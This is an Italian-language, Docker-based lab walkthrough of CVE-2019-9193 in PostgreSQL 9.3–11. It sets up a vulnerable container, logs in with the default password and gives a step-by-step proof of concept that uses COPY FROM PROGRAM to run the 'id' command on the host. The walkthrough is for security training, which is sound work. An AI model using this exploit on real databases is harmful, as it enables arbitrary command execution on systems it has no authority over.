
Laboratorio basato su Docker che dimostra CVE-2019-9193: esecuzione arbitraria di comandi di PostgreSQL tramite COPY FROM PROGRAM, con Proof of Concept (PoC) passo passo per test di sicurezza e formazione.
PostgreSQL è un potente sistema di gestione di database relazionale open-source. Una vulnerabilità presente nelle versioni dalla 9.3 alla 11 consente agli amministratori o agli utenti con i privilegi COPY TO/FROM PROGRAM di eseguire comandi arbitrari sul sistema.
docker-compose.yml)Crea un file docker-compose.yml con il seguente contenuto:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
Esegui il container con il seguente comando:
docker compose up -d
Verifica che il container sia in esecuzione:
docker ps
L'output dovrebbe mostrare il container PostgreSQL in ascolto sulla porta 5432.
Se non hai il client psql installato, puoi farlo con:
apt-get install postgresql-client
Collegati al database direttamente da Kali:
psql -h localhost -p 5432 -U postgres
Ti verrà richiesta la password, inserisci:
postgres
Una volta connesso alla console PostgreSQL, esegui i seguenti comandi per sfruttare la vulnerabilità:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
Puoi eseguire tutto direttamente dalla riga di comando:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
Se l'exploit è riuscito, dovresti vedere un output simile:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
Premi \q per uscire:
\q
Questa vulnerabilità permette l'esecuzione arbitraria di comandi con privilegi amministrativi. Utilizzala solo in ambienti controllati e a scopo di studio o verifica. Sfruttare questa vulnerabilità su sistemi non autorizzati è illegale.
---